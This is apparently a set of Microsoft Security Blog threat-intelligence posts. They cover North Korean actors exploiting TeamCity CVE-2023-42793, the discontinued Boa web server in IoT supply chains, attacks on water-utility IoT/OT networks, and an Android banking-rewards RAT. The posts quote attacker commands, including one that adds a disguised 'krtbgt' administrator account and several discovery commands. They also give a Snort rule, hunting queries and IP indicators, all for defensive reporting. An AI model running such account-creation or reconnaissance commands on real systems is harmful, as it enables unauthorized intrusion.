Following the successful compromise of TeamCity servers, Diamond Sleet utilizes PowerShell to download two payloads from legitimate infrastructure previously compromised by the threat actor. These two payloads, Forest64.exe and 4800-84DC-063A6A41C5C are stored in the C:ProgramData directory.

When launched, Forest64.exe checks for the presence of the file named 4800-84DC-063A6A41C5C, then reads and decrypts the contents of that file using embedded, statically assigned key of ‘uTYNkfKxHiZrx3KJ’:

c:ProgramDataForest64.exe  uTYNkfKxHiZrx3KJ

Interestingly, this same value is specified as a parameter when the malware is invoked, but we did not see it utilized during our analysis. The same value and configuration name was also referenced in historical activity reported by Kaspersky’s Securelist on this malware, dubbed ForestTiger.

The decrypted content of 4800-84DC-063A6A41C5C is the configuration file for the malware, which contains additional parameters, such as the infrastructure used by the backdoor for command and control (C2). Microsoft observed Diamond Sleet using infrastructure previously compromised by the actor for C2.

Microsoft observed Forest64.exe then creating a scheduled task named Windows TeamCity Settings User Interface so it runs every time the system starts with the above referenced command parameter “uTYNkfKxHiZrx3KJ”. Microsoft also observed Diamond Sleet leveraging the ForestTiger backdoor to dump credentials via the LSASS memory. Microsoft Defender Antivirus detects this malware as ForestTiger.

Diamond Sleet attack path 2: Deploying payloads for use in DLL search-order hijacking attacks

Diamond Sleet leverages PowerShell on compromised servers to download a malicious DLL from attacker infrastructure. This malicious DLL is then staged in C:ProgramData alongside a legitimate .exe file to carry out DLL search-order hijacking. Microsoft has observed these malicious DLL and legitimate EXE combinations used by the actor:

DSROLE.dll attack chain

When DSROLE.dll is loaded by wsmprovhost.exe, the DLL initiates a thread that enumerates and attempts to process files that exist in the same executing directory as the DLL. The first four bytes of candidate files are read and signify the size of the remaining buffer to read. Once the remaining data is read back, the bytes are reversed to reveal an executable payload that is staged in memory. The expected PE file should be a DLL with the specific export named ‘StartAction’. The address of this export is resolved and then launched in memory.

While the functionality of DSROLE.dll is ultimately decided by whatever payloads it deobfuscates and launches, Microsoft has observed the DLL being used to launch wksprt.exe, which communicates with C2 domains. Microsoft Defender Antivirus detects DSROLE.dll using the family name RollSling.

Version.dll attack chain

When loaded by clip.exe, Version.dll loads and decrypts the contents of readme.md, a file  downloaded alongside Version.dll from attacker-compromised infrastructure. The file readme.md contains data that is used as a multibyte XOR key to decrypt position-independent code (PIC) embedded in Version.dll. This PIC loads and launches the final-stage remote access trojan (RAT).

Once loaded in memory, the second-stage executable decrypts an embedded configuration file containing several URLs used by the malware for command and control. Shortly after the malware beacons to the callback URL, Microsoft has observed a separate process iexpress.exe created and communicating with other C2 domains. Microsoft Defender Antivirus detects Version.dll using the family name FeedLoad.

After successful compromise, Microsoft observed Diamond Sleet dumping credentials via the LSASS memory.

In some cases, Microsoft observed Diamond Sleet intrusions that utilized tools and techniques from both paths 1 and 2.

Onyx Sleet attack path: User account creation, system discovery, and payload deployment

Following successful exploitation using the TeamCity exploit, Onyx Sleet creates a new user account on compromised systems. This account, named krtbgt, is likely intended to impersonate the legitimate Windows account name KRBTGT, the Kerberos Ticket Granting Ticket. After creating the account, the threat actor adds it to the Local Administrators Group through net use:

net  localgroup administrators krtbgt /add

The threat actor also runs several system discovery commands on compromised systems, including:

net localgroup 'Remote Desktop Users’
net localgroup Administrators
cmd.exe "/c tasklist | findstr Sec"
cmd.exe "/c whoami"
cmd.exe "/c netstat -nabp tcp"
cmd.exe "/c ipconfig /all"
cmd.exe "/c systeminfo"

Next, the threat actor deploys a unique payload to compromised systems by downloading it from attacker-controlled infrastructure via PowerShell. Microsoft observed these file paths for the unique payload:

• C:WindowsTemptemp.exe
• C:WindowsADFSbginetmgr.exe

This payload, when launched, loads and decrypts an embedded PE resource. This decrypted payload is then loaded into memory and launched directly. The inner payload is a proxy tool that helps establish a persistent connection between the compromised host and attacker-controlled infrastructure. Microsoft Defender Antivirus detects this proxy tool as HazyLoad.

Microsoft also observed the following post-compromise tools and techniques leveraged in this attack path:

• Using the attacker-controlled krtbgt account to sign into the compromised device via remote desktop protocol (RDP)
• Stopping the TeamCity service, likely in an attempt to prevent access by other threat actors
• Dumping credentials via the LSASS memory
• Deploying tools to retrieve credentials and other data stored by browsers

Recommended mitigation actions

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Apply the update or mitigations released by JetBrains to address CVE-2023-42793.
• Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion.
• Block in-bound traffic from IPs specified in the IOC table.
• Use Microsoft Defender Antivirus to protect from this threat. Turn on cloud-delivered protection and automatic sample submission. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Take immediate action to address malicious activity on the impacted device. If malicious code has been launched, the attacker has likely taken complete control of the device. Immediately isolate the system and perform a reset of credentials and tokens.
• Investigate the device timeline for indications of lateral movement activities using one of the compromised accounts. Check for additional tools that attackers might have dropped to enable credential access, lateral movement, and other attack activities.
• Ensure that “Safe DLL Search Mode” is set.
• Turn on the following attack surface reduction rule:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Detections

Microsoft 365 Defender

Microsoft 365 Defender is becoming Microsoft Defender XDR. Learn more.

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the CVE-2023-42793 vulnerability leveraged in these attacks.

Microsoft Defender Antivirus

Microsoft Defender Antivirus customers should look for the following family names for activity related to these attacks:

• ForestTiger
• RollSling
• FeedLoad
• HazyLoad

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts could indicate activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• Diamond Sleet Actor activity detected
• Onyx Sleet Actor activity detected
• Possible exploitation of JetBrains TeamCity vulnerability
• Suspicious behavior by cmd.exe was observed
• Suspicious DLL loaded by an application
• Suspicious PowerShell download or encoded command execution
• Possible lateral movement involving suspicious file
• A script with suspicious content was observed
• Suspicious scheduled task

Hunting queries

Microsoft 365 Defender

Command and control using iexpress.exe or wksprt.exe

DeviceNetworkEvents
| where (InitiatingProcessFileName =~ "wksprt.exe" and InitiatingProcessCommandLine == "wksprt.exe") 
or (InitiatingProcessFileName =~ "iexpress.exe" and InitiatingProcessCommandLine == "iexpress.exe")

Search order hijack using Wsmprovhost.exe and DSROLE.dll

DeviceImageLoadEvents
| where InitiatingProcessFileName =~ "wsmprovhost.exe"
| where FileName =~ "DSROLE.dll"
| where not(FolderPath has_any("system32", "syswow64"))

Search order hijack using clip.exe and Version.dll

DeviceImageLoadEvents
| where InitiatingProcessFileName =~ "clip.exe"
| where FileName in~("version.dll")
| where not(FolderPath has_any("system32", "syswow64", "program files", "windows defenderplatform", "winsxs", "platform",
"trend micro"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Microsoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog in addition to Microsoft 365 Defender detections list above.  

• PowerShell downloads
• Dumping LSASS Process into a File
• Anomalous Account Creation
• RDP Rare Connection
• Anomalous RDP Activity

Indicators of compromise (IOCs)

The list below provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Diamond Sleet path 1

Diamond Sleet path 2

Onyx Sleet path

NOTE: These indicators should not be considered exhaustive for this observed activity.

References

• Following the Lazarus group by tracking DeathNote campaign | Securelist

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Multiple North Korean threat actors exploiting the TeamCity CVE-2023-42793 vulnerability appeared first on Microsoft Security Blog.

Vulnerabilities in network components, architecture files, and developer tools have become increasingly popular attack vectors to gain access into secure networks and devices. External tools and products that are managed by vendors and developers can pose a security risk, especially to targets in sensitive industries. Attacks on software and hardware supply chains, like Log4J and SolarWinds, have highlighted the importance of visibility across device components and proactively securing networks. A report published by Recorded Future in April 2022 detailed suspected electrical grid intrusion activity and implicated common IoT devices as the vector used to gain a foothold into operational technology (OT) networks and deploy malicious payloads. While investigating the attack activity, Microsoft researchers identified a vulnerable component on all the IP addresses published as IOCs and found evidence of a supply chain risk that may affect millions of organizations and devices.

We assessed the vulnerable component to be the Boa web server, which is often used to access settings and management consoles and sign-in screens in devices. Despite being discontinued in 2005, the Boa web server continues to be implemented by different vendors across a variety of IoT devices and popular software development kits (SDKs). Without developers managing the Boa web server, its known vulnerabilities could allow attackers to silently gain access to networks by collecting information from files. Moreover, those affected may be unaware that their devices run services using the discontinued Boa web server, and that firmware updates and downstream patches do not address its known vulnerabilities.

In this blog, we detail the risks affiliated with vulnerable components, highlighting the Boa web server, and how we suspect these components could be exploited to target critical industries. We also discuss the difficulties with identifying these components in device supply chains. To provide comprehensive protection against such attacks, we offer detection information to identify vulnerable components and guidance for organizations and network operators to improve their security posture.

Investigating the attack activity

The attack detailed in the Recorded Future report was one of several intrusion attempts on Indian critical infrastructure since 2020, with the most recent attack on IT assets confirmed in October 2022. Microsoft assesses that Boa servers were running on the IP addresses on the list of IOCs published by Recorded Future at the time of the report’s release and that the electrical grid attack targeted exposed IoT devices running Boa.

Microsoft further identified that half of the IP addresses published by Recorded Future returned suspicious HTTP response headers, which might be associated with the active deployment of the malicious tool identified by Recorded Future. The combination of Boa and suspicious response headers was identified on another set of IP addresses, displaying similar behavior to those found by Recorded Future. While these IP addresses are not confirmed as malicious, we recommend they be monitored to ensure no additional suspicious activity. Users of Microsoft Defender Threat Intelligence will find these IP addresses in the portal labeled as block-listed or suspicious:

• 122[.]117[.]212[.]65
• 103[.]58[.]93[.]133
• 125[.]141[.]38[.]53
• 14[.]45[.]33[.]239
• 14[.]55[.]86[.]138
• 183[.]108[.]133[.]29
• 183[.]99[.]53[.]180
• 220[.]94[.]133[.]121
• 58[.]76[.]177[.]166

Investigating the headers further indicated that over 10% of all active IP addresses returning the headers were related to critical industries, such as the petroleum industry and associated fleet services, with many of the IP addresses associated to IoT devices, such as routers, with unpatched critical vulnerabilities, highlighting an accessible attack vector for malware operators. Most of the suspicious HTTP response headers were returned over a short timeframe of several days, leading researchers to believe they may be associated with intrusion and malicious activity on networks.

Since the report’s publication, Microsoft researchers tracking the published IPs hosts have observed that all IP addresses have been compromised by a variety of attackers employing different malicious methods. For example, some of the IP addresses were further leveraged to download a variant of the Mirai malware family shortly following the report’s release. Microsoft also found evidence that across different devices on the IP addresses, there were attempts to connect with default credentials through brute force methods and attempts to run shell commands. Microsoft continues to see attackers attempting to exploit Boa vulnerabilities beyond the timeframe of the released report, indicating that it is still targeted as an attack vector.

Boa widespread through SDKs

The Boa web server is widely implemented across a variety of devices, including IoT devices ranging from routers to cameras, and is often used to access settings and management consoles as well as sign-in screens. The popularity of Boa web servers is especially concerning as Boa has been formally discontinued since 2005. Data from the Microsoft Defender Threat Intelligence platform identified over 1 million internet-exposed Boa server components around the world over the span of a week, as depicted in the below figure:

Boa web servers remain pervasive in the development of IoT devices, one reason for this could be its inclusion in popular SDKs, which contain essential functions that operate system on chip (SOC) implemented in microchips. Vulnerable components like Boa and SDKs are often distributed to customers within devices, contributing to supply chain vulnerabilities. Popular SDKs like those released by RealTek, are used in SOCs provided to companies that manufacture gateway devices like routers, access points, and repeaters. Critical vulnerabilities such as CVE-2021-35395, which affected the digital administration of devices using RealTek’s SDK, and CVE-2022-27255, a zero-click overflow vulnerability, reportedly affect millions of devices globally and allow attackers to launch code, compromise devices, deploy botnets, and move laterally on networks.

While patches for the RealTek SDK vulnerabilities are available, some vendors may not have included them in their device firmware updates, and the updates do not include patches for Boa vulnerabilities. Boa servers are affected by several known vulnerabilities, including CVE-2009-4496, which could allow attackers to execute code remotely. Additional vendor and device specific vulnerabilities exist across a range of devices including routers.

The popularity of the Boa web server displays the potential exposure risk of an insecure supply chain, even when security best practices are applied to devices in the network. Updating the firmware of IoT devices does not always patch SDKs or specific SOC components and there is limited visibility into components and whether they can be updated. The known CVEs impacting such components can allow an attacker to collect information about network assets before initiating attacks, and to gain access to a network undetected by obtaining valid credentials. In critical infrastructure networks, being able to collect information undetected prior to the attack allows the attackers to have much greater impact once the attack is initiated, potentially disrupting operations that can cost millions of dollars and affect millions of people.

Recommendations

As attackers seek new footholds into increasingly secure devices and networks, identifying and preventing distributed security risks through software and hardware supply chains, like outdated components, should be prioritized by organizations. This case displays the importance of proactive cyber security practices and the need to identify vulnerable components that may be leveraged by attackers.

Microsoft recommends that organizations and network operators follow best practice guidelines for their networks:

• Patch vulnerable devices whenever possible to reduce exposure risks across your organization.
• Utilize device discovery and classification to identify devices with vulnerable components by enabling vulnerability assessments, which identifies unpatched devices in the organizational network and set workflows for initiating appropriate patch processes with solutions like Microsoft Defender Vulnerability Management and Microsoft Defender for Endpoint with Microsoft Defender for IoT .
• Extend vulnerability and risk detection beyond the firewall with platforms like Microsoft Defender External Attack Surface Management. Customers can identify internet-exposed infrastructure running Boa web server components in their inventory and use the insights tile under the Attack Surface Summary dashboard to surface assets vulnerable to CVE-2009-4496. The insight can be found under High Severity Observations.
• Reduce the attack surface by eliminating unnecessary internet connections to IoT devices in the network. Apply network segmentation to prevent an attacker from moving laterally and compromising assets after intrusion. IoT and critical device networks should be isolated with firewalls.
• Use proactive antivirus scanning to identify malicious payloads on devices.
• Configure detection rules to identify malicious activity whenever possible. Security personnel can use our snort rule below to configure security solutions to detect CVE-2022-27255 on assets using the RealTek SDK.

alert udp any any -> any any (msg:"Realtek eCOS SDK SIP Traffic Exploit CVE-2022-27255"; content: "invite"; depth: 6; nocase;  content: "sip:"; content: "m=audio "; isdataat: 128,relative;   content:!"|0d|"; within: 128;sid:20221031;)

• Adopt a comprehensive IoT and OT solution like Microsoft Defender for IoT to monitor devices, respond to threats, and increase visibility in order to detect and alert when IoT devices with Boa are used as an entry point to a network and protect critical infrastructure. 

Adam Castleman, Jordan Herman, Microsoft Defender Threat Intelligence
Rotem Sde Or, Ilana Sivan, Gil Regev, Microsoft Defender for IoT Research Team
Ross Bevington, Microsoft Threat Intelligence Center

The post Vulnerable SDK components lead to supply chain risks in IoT and OT environments appeared first on Microsoft Security Blog.

The attack brings to light the risk of threat actors gaining access to industrial control system (ICS) environments. According to reports, a group associated with the Cl0p ransomware claimed responsibility for the attack, which followed a familiar extortion model wherein attackers extort the target for exfiltrated data without encrypting the organization’s files. After the attack, confidential documents, along with screenshots of the supervisory control and data acquisition (SCADA) system used by water treatment plants were leaked.

As details of the attack and the vector used to access South Staffordshire PLC’s networks are limited, the Microsoft Defender for IoT research team did further research on techniques used by threat actors in similar attacks. Microsoft researchers have previously observed activity relating to internet-exposed IoT devices across different industries, which may be used as a potential foothold into OT networks. Threat actors gain access by deploying malware on information technology (IT) devices and then crossing the boundary to the operational technology (OT) part of the network to target high-value operational assets, or by compromising unmanaged, usually less secure IoT and OT devices.

IoT devices in critical infrastructure networks

IoT devices offer significant value to organizations and extend beyond environmental monitoring sensors to common office equipment and network devices. However, IoT devices in critical infrastructure networks, if not properly secured, increase the risk of unauthorized access to operational assets and networks. Improper configurations such as default credentials and unpatched vulnerabilities are often abused by threat actors to gain network or device access. Once access is established, attackers could identify other assets on the same network, perform reconnaissance, and plan large-scale attacks on sensitive equipment and devices.

In monitoring threats against critical infrastructure and utilities, Microsoft researchers investigated water utility providers in the United Kingdom with exposed IoT devices within their networks. Using open-source intelligence (OSINT) and Microsoft Defender Threat Intelligence data, the team searched for exposed IoT devices integrated into the networks of water utility providers and found that such facilities were using Draytek Vigor routers, which are intended for home use.

With difficult-to-patch devices such as printers, cameras, routers, and gateway devices overlooked as potential footholds into networks, they are often left exposed. In analyzing Microsoft threat intelligence, Microsoft researchers observed threat actors abusing a known remote code execution vulnerability in Draytek Vigor devices (CVE-2020-8515) to deploy the Mirai botnet. Once attackers establish device access, remote code execution vulnerabilities such as CVE-2020-8515 can then allow attackers to run malicious commands on devices, move laterally within the network, and access other vulnerable devices which were not directly exposed to the internet such as SCADA systems. 

In water treatment applications, SCADA systems allow water plants to monitor levels of specific chemicals and toxins and to collect records of the systems. While the attack against South Staffordshire PLC does not appear to have included the abuse of these devices, the release of files pertaining to OT systems constitutes a high-risk to operations and highlights the importance of network segmentation to protect devices and networks from lateral movement.

Defending critical networks

Attacks on utility providers’ OT networks and devices are high-risk events that can range from data theft to the manipulation of devices controlling the operations. Such events can lead to the interruption of operations, or in severe cases, potential harm to individuals and customers (For example, when hackers gained access to the water system of one Florida city as reported in February 2021).

Given the severity of these attacks and their potential impact on the utility providers’ operations and even the safety of their customers, it becomes crucial to recognize the importance of proper security practices around IoT & OT unmanaged devices to ensure that such attacks do not happen. Defenses set up for OT networks must be comprehensive, able to prevent unauthorized system access and should include detections for abnormal, unfamiliar, and malicious behaviors after a breach.

It is important to protect assets and have strict security protocols in place for how and when devices and data can be accessed. We recommend the following defense strategies for organizations with both IoT and OT devices within their networks:  

• Adopt a comprehensive IoT and OT security solution such as Microsoft Defender for IoT to allow visibility and monitoring of all IoT and OT devices, threat detection and response, and integration with SIEM/SOAR and XDR platforms such as Microsoft Sentinel and Microsoft Defender 365.
• Enable vulnerability assessments to identify unpatched devices in the organizational network and set workflows for initiating appropriate patch processes through  Microsoft Defender Vulnerability Management and Microsoft Defender for Endpoint with the Microsoft Defender for IoT add-on.
• Reduce the attack surface by eliminating unnecessary internet connections to IoT devices and OT control systems. Implement Zero Trust practices by applying network segmentation to prevent an attacker from moving laterally and compromising assets after intrusion. IoT devices and OT networks should be isolated from IT and OT networks with firewalls. Extend vulnerability and exposure control beyond the firewall with Microsoft Defender External Attack Surface Management. Turn on attack surface reduction rules in Microsoft Defender for Endpoint to prevent common attack techniques such as those used by ransomware groups.
• Increase network security by enforcing multi factor authentication (MFA) methods such as Azure Active Directory MFA. Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

David Atch, Ilana Sivan, and Mae Dotan, Microsoft Defender for IoT Research Team
Ross Bevington, Microsoft Threat Intelligence Center (MSTIC)
Jaclyn Blumenfield, Microsoft Defender Threat Intelligence

The post Securing IoT devices against attacks that target critical infrastructure appeared first on Microsoft Security Blog.

Our investigation of this new Android malware version started from our receipt of an SMS message containing a malicious link that led us to the download of a fake banking rewards app. The fake app, detected as TrojanSpy:AndroidOS/Banker.O, used a different bank name and logo compared to a similar malware reported in 2021. Moreover, we found that this fake app’s command and control (C2) server is related to 75 other malicious APKs based on open-source intelligence. Some of the malicious APKs also use the same Indian bank’s logo as the fake app that we investigated, which could indicate that the actors are continuously generating new versions to keep the campaign going.

This blog details our analysis of the recent version’s capabilities. We strongly advise users never to click on unknown links received in SMS messages, emails, or messaging apps. We also recommend seeking your bank’s support or advice on digital options for your bank. Further, ensure that your banking apps are downloaded from official app stores to avoid installing malware.

Observed activity

What the user sees

We have seen other campaigns targeting Indian banks’ customers based on the following app names:

• Axisbank_rewards.apk
• Icici_points.apk
• Icici_rewards.apk
• SBI_rewards.apk

Our investigation focused on icici_rewards.apk (package name: com.example.test_app), which presents itself as ICICI Rewards. The SMS campaign sends out messages containing a malicious link that leads to installing a malicious APK on a target’s mobile device. To lure users into accessing the link, the SMS claims that the user is being notified to claim a reward from a known Indian bank.

Upon user interaction, it displays a splash screen with the bank logo and proceeds to ask the user to enable specific permissions for the app.

The fake app asks for credit card information upon being granted all permissions. This should raise users’ suspicions on the app’s motive as apps typically ask for sensitive information only through user-driven transactions like paying for purchases.

The app displays another fake screen with further instructions to add to its legitimacy once users supply the information needed.

What happens in the background

Analyzing the XML file AndroidManifest further identifies the entry points of the malware along with the permissions requested. It also defines services that can run in the background without user interaction. The app uses the following permissions:

• READ_PHONE_STATE
• ACCESS_NETWORK_STATE
• READ_SMS
• RECEIVE_SMS
• READ_CALL_LOG
• FOREGROUND_SERVICE
• MODIFY_AUDIO_SETTINGS
• READ_CONTACTS
• RECEIVE_BOOT_COMPLETED
• WAKE_LOCK

The malware uses MainActivity, AutoStartService, and RestartBroadCastReceiverAndroid functions to carry out most of its routines. These three functions interact to ensure all the malware’s routines are up and running and allow the app to remain persistent on the mobile device.

MainActivity

MainActivity, also called the launcher activity, is defined under com.example.test_app.MainActivity. It is launched first after installation to display the fake app’s ICICI splash screen. This launcher activity then calls OnCreate() method to check the device’s internet connectivity and record the timestamp of the malware’s installation, and Permission_Activity to launch permission requests. Once the permissions are granted, Permission_Activity further calls AutoStartService and login_kotak.

The class login_kotak is responsible for stealing the user’s card information. It shows the fake credit card input page (Figure 5) and temporarily stores the information in the device while waiting for commands from the attacker.

AutoStartService

AutoStartService, themain handler of the malware, functions based on the commands it receives. The handler provides the malware with the following capabilities:

Enforcing its RAT commands

This malware’s new version adds several RAT capabilities that expands its information stealing. It enables the malware to add call log uploading, SMS message and calls interception, and card blocking checks.

These commands are described below.

The silent command, which the malware uses to keep the remote attacker’s SMS sending activities undetected, stands out from the list of commands. Many banking apps require two-factor authentication (2FA), often sent through SMS messages. This malware enabling an infected device’s silent mode allows attackers to catch 2FA messages undetected, further facilitating information theft.

Encryption and decryption of SMS messages

In addition to encrypting all data it sends to the attacker, the malware also encrypts the SMS commands it receives from the attacker. The malware decrypts the commands through its decryption and decoding modules. The malware uses a combination of Base64 encoding/decoding and AES encryption/decryption methods.

Stealing SMS messages

The malware steals all SMS messages from the mobile device’s inbox. It collects all received, sent, read, and even unread messages. Collecting all SMS messages might allow attackers to use the data to expand their stealing range, especially if any messages contain other sensitive information such as SMS-based 2FA for email accounts, one’s personal identification like the Aadhar card commonly used in India, or other financial-related information.

Uploading all call logs

The malware also uploads call logs stored on the mobile device. This data may be used for the attacker’s surveillance purposes.

Communicating with its C2

This malware uses the open-source library socket.io to communicate with its C2 server.

RestartBroadCastReceiver

The malware also uses the Android component RestartBroadcastReceiver, which functions based on the type of events received by the mobile device. This receiver launches a job scheduler named JobService, which eventually calls AutoStartService in the background. The receiver reacts when the device is restarted, if the device is connected to or disconnected from charging, when the device’s battery status changes, and changes in the device’s Wi-Fi state.  RestartBroadcastReceiver ensures that the main command handler AutoStartService is always up and running.

Mitigating the fake app’s unwanted extras

This malware’s continuing evolution highlights the need to protect mobile devices. Its wider SMS stealing capabilities might allow attackers to the stolen data to further steal from a user’s other banking apps. Its ability to intercept one-time passwords (OTPs) sent over SMS thwarts the protections provided by banks’ two-factor authentication mechanisms, which users and institutions rely on to keep their transactions safe. Its use of various banking and financial organizations’ logos could also attract more targets in the future.

App installation on Android is relatively easy due to the operating system’s open nature. However, this openness is often abused by attackers for their gain. Apart from exercising utmost care when clicking on links in messages and installing apps, we recommend that users follow these steps to protect their devices from fake apps and malware:

• Download and install applications only from official app stores.
• Android device users can keep the Unknown sources option disabled to stop app installation from unknown sources.
• Use mobile solutions such as Microsoft Defender for Endpoint on Android to detect malicious applications.

Appendix

Indicators of compromise

MITRE ATT&CK techniques

Shivang Desai, Abhishek Pustakala, and Harshita Tripathi
Microsoft 365 Defender Research Team

The post Rewards plus: Fake mobile banking rewards apps lure users to install info-stealing RAT on Android devices appeared first on Microsoft Security Blog.